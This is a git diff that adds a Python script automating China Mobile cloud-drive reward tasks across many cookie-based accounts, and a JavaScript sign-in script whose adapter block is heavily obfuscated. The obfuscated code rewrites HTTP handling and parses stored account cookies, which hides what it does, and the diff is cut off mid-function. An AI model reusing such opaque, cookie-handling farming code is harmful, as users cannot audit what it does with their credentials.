do_fruit_task(self, task_name, task_id, water_num): + print(f'-去完成: {task_name}') + do_task_url = f'{self.fruit_url}task/doTask.do?taskId={task_id}' + do_task_data = self.send_request(do_task_url, headers = self.treeHeaders).json() + + if do_task_data.get('success'): + get_water_url = f'{self.fruit_url}task/givenWater.do?taskId={task_id}' + get_water_data = self.send_request(get_water_url, headers = self.treeHeaders).json() + + if get_water_data.get('success'): + print(f'-已完成任务获得水滴: {water_num}') + else: + print(f'❌领取失败: {get_water_data.get("msg", "")}') + else: + print(f'❌参与任务失败: {do_task_data.get("msg", "")}') + + # 果树信息 + @catch_errors + def tree_info(self): + treeinfo_url = f'{self.fruit_url}user/treeInfo.do' + treeinfo_data = self.send_request(treeinfo_url, headers = self.treeHeaders).json() + + if not treeinfo_data.get('success'): + error_message = treeinfo_data.get('msg', '获取果园任务列表失败') + print(error_message) + else: + collect_water = treeinfo_data.get('result', {}).get('collectWater', 0) + tree_level = treeinfo_data.get('result', {}).get('treeLevel', 0) + print(f'-当前小树等级: {tree_level} 剩余水滴: {collect_water}') + if tree_level in (2, 4, 6, 8): + # 开宝箱 + openbox_url = f'{self.fruit_url}prize/openBox.do' + openbox_data = self.send_request(openbox_url, headers = self.treeHeaders).json() + print(f'- {openbox_data.get("result").get("msg")}') + + watering_amount = collect_water // 20 # 计算需要浇水的次数 + watering_url = f'{self.fruit_url}user/watering.do?isFast=0' + if watering_amount > 0: + for _ in range(watering_amount): + watering_data = self.send_request(watering_url, headers = self.treeHeaders).json() + if watering_data.get('success'): + print('✔️ 浇水成功') + time.sleep(3) + else: + print('-水滴不足!') + + # 云朵大作战 + @catch_errors + def cloud_game(self): + game_info_url = 'https://caiyun.feixin.10086.cn/market/signin/hecheng1T/info?op=info' + bigin_url = 'https://caiyun.feixin.10086.cn/market/signin/hecheng1T/beinvite' + end_url = 'https://caiyun.feixin.10086.cn/market/signin/hecheng1T/finish?flag=true' + + game_info_data = self.send_request(game_info_url, headers = self.jwtHeaders, cookies = self.cookies).json() + if game_info_data and game_info_data.get('code', -1) == 0: + currnum = game_info_data.get('result', {}).get('info', {}).get('curr', 0) + count = game_info_data.get('result', {}).get('history', {}).get('0', {}).get('count', '') + rank = game_info_data.get('result', {}).get('history', {}).get('0', {}).get('rank', '') + + print(f'今日剩余游戏次数: {currnum}\n本月排名: {rank} 合成次数: {count}') + + for _ in range(currnum): + self.send_request(bigin_url, headers = self.jwtHeaders, cookies = self.cookies).json() + print('-开始游戏,等待10-15秒完成游戏') + time.sleep(random.randint(10, 15)) + end_data = self.send_request(end_url, headers = self.jwtHeaders, cookies = self.cookies).json() + if end_data and end_data.get('code', -1) == 0: + print('游戏成功') + else: + print("-获取游戏信息失败") + + # 领取云朵 + @catch_errors + def receive(self): + receive_url = "https://caiyun.feixin.10086.cn/market/signin/page/receive" + prize_url = f"https://caiyun.feixin.10086.cn/market/prizeApi/checkPrize/getUserPrizeLogPage?currPage=1&pageSize=15&_={self.timestamp}" + receive_data = self.send_request(receive_url, headers = self.jwtHeaders, cookies = self.cookies).json() + self.sleep() + prize_data = self.send_request(prize_url, headers = self.jwtHeaders, cookies = self.cookies).json() + result = prize_data.get('result').get('result') + rewards = '' + for value in result: + prizeName = value.get('prizeName') + flag = value.get('flag') + if flag == 1: + rewards += f'-待领取奖品: {prizeName}\n' + + receive_amount = receive_data["result"].get("receive", "") + total_amount = receive_data["result"].get("total", "") + print(f'\n-当前待领取:{receive_amount}云朵') + print(f'-当前云朵数量:{total_amount}云朵') + msg = f'云朵数量:{total_amount} \n{rewards}' + self.log_info(amount = msg) + + # 备份云朵 + @catch_errors + def backup_cloud(self): + backup_url = 'https://caiyun.feixin.10086.cn/market/backupgift/info' + backup_data = self.send_request(backup_url, headers = self.jwtHeaders).json() + state = backup_data.get('result', {}).get('state', '') + if state == -1: + print('本月未备份,暂无连续备份奖励') + + elif state == 0: + print('-领取本月连续备份奖励') + cur_url = 'https://caiyun.feixin.10086.cn/market/backupgift/receive' + cur_data = self.send_request(cur_url, headers = self.jwtHeaders).json() + print(f'-获得云朵数量:{cur_data.get("result").get("result")}') + + elif state == 1: + print('-已领取本月连续备份奖励') + self.sleep() + expend_url = 'https://caiyun.feixin.10086.cn/market/signin/page/taskExpansion' # 每月膨胀云朵 + expend_data = self.send_request(expend_url, headers = self.jwtHeaders, cookies = self.cookies).json() + + curMonthBackup = expend_data.get('result', {}).get('curMonthBackup', '') # 本月备份 + preMonthBackup = expend_data.get('result', {}).get('preMonthBackup', '') # 上月备份 + curMonthBackupTaskAccept = expend_data.get('result', {}).get('curMonthBackupTaskAccept', '') # 本月是否领取 + nextMonthTaskRecordCount = expend_data.get('result', {}).get('nextMonthTaskRecordCount', '') # 下月备份云朵 + acceptDate = expend_data.get('result', {}).get('acceptDate', '') # 月份 + + if curMonthBackup: + print(f'- 本月已备份,下月可领取膨胀云朵: {nextMonthTaskRecordCount}') + else: + print('- 本月还未备份,下月暂无膨胀云朵') + + if preMonthBackup: + if curMonthBackupTaskAccept: + print('- 上月已备份,膨胀云朵已领取') + else: + # 领取 + receive_url = f'https://caiyun.feixin.10086.cn/market/signin/page/receiveTaskExpansion?acceptDate={acceptDate}' + receive_data = self.send_request(receive_url, headers = self.jwtHeaders, + cookies = self.cookies).json() + if receive_data.get("code") != 0: + print(f'-领取失败:{receive_data.get("msg")}') + else: + cloudCount = receive_data.get('result', {}).get('cloudCount', '') + print(f'- 膨胀云朵领取成功: {cloudCount}朵') + else: + print('-上月未备份,本月无膨胀云朵领取') + + # # 开启备份 + # def open_backup(self): + + # 通知云朵 + @catch_errors + def open_send(self): + send_url = 'https://caiyun.feixin.10086.cn/market/msgPushOn/task/status' + send_data = self.send_request(send_url, headers = self.jwtHeaders).json() + + pushOn = send_data.get('result', {}).get('pushOn', '') # 0未开启,1开启,2未领取,3已领取 + firstTaskStatus = send_data.get('result', {}).get('firstTaskStatus', '') + secondTaskStatus = send_data.get('result', {}).get('secondTaskStatus', '') + onDuaration = send_data.get('result', {}).get('onDuaration', '') # 开启时间 + + if pushOn == 1: + reward_url = 'https://caiyun.feixin.10086.cn/market/msgPushOn/task/obtain' + + if firstTaskStatus == 3: + print('- 任务1奖励已领取') + else: + # 领取任务1 + print('- 领取任务1奖励') + reward1_data = self.send_request(reward_url, headers = self.jwtHeaders, data = {"type": 1}, + method = "POST").json() + print(reward1_data.get('result', {}).get('description', '')) + + if secondTaskStatus == 2: + # 领取任务2 + print('- 领取任务2奖励') + reward2_data = self.send_request(reward_url, headers = self.jwtHeaders, data = {"type": 2}, + method = "POST").json() + print(reward2_data.get('result', {}).get('description', '')) + + print(f'- 通知已开启天数: {onDuaration}, 满31天可领取奖励') + else: + print('- 通知权限未开启') + +def get_announcement(): + """ + 获取公告信息 + """ + external_url = 'https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt' + try: + response = requests.get(external_url) + if response.status_code == 200: + print( response.text) + print("公告获取成功,开始执行任务...") + else: + print(f"获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}") + + +if __name__ == "__main__": + get_announcement() + env_name = 'ydypCK' + token = os.getenv(env_name) + if not token: + print(f'⛔️未获取到ck变量:请检查变量 {env_name} 是否填写') + exit(0) + + cookies = re.split(r'[&\n]', token) + print(f"移动硬盘共获取到{len(cookies)}个账号") + + for i, account_info in enumerate(cookies, start = 1): + print(f"\n======== ▷ 第 {i} 个账号 ◁ ========") + YP(account_info).run() + print("\n随机等待5-10s进行下一个账号") + time.sleep(random.randint(5, 10)) + + # 输出异常账号信息 + if err_accounts != '': + print(f"\n失效账号:\n{err_accounts}") + else: + print('当前所有账号ck有效') + if err_message != '': + print(f'-错误信息: \n{err_message}') + print(user_amount) + # 在load_send中获取导入的send函数 + send = load_send() + + # 判断send是否可用再进行调用 + if send: + msg = f"失效账号:\n{err_accounts}\n-错误信息:\n{err_message}\n-云朵数量: \n{user_amount}" + send('中国移动云盘任务信息', msg) + else: + print('通知服务不可用') diff --git a/脚本库/web版/账密/简繁体转换/2025-08-25_fjzh_246b5fc8.js b/脚本库/web版/账密/简繁体转换/2025-08-25_fjzh_246b5fc8.js new file mode 100644 index 0000000..0712593 --- /dev/null +++ b/脚本库/web版/账密/简繁体转换/2025-08-25_fjzh_246b5fc8.js @@ -0,0 +1,569 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/fjzh.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/fjzh.js +// # Repo: imoki/sign_script +// # Path: polymerization/fjzh.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 246b5fc8ddc0779d3df32000387900196ac02753fab0e41fbd32a9cd396cc2b4 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "简繁体转换" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240408 + 环境变量名:fjzh + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "fjzh"; // 分配置表名称, (修改这里) +var pushHeader = "【简繁体转换】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; 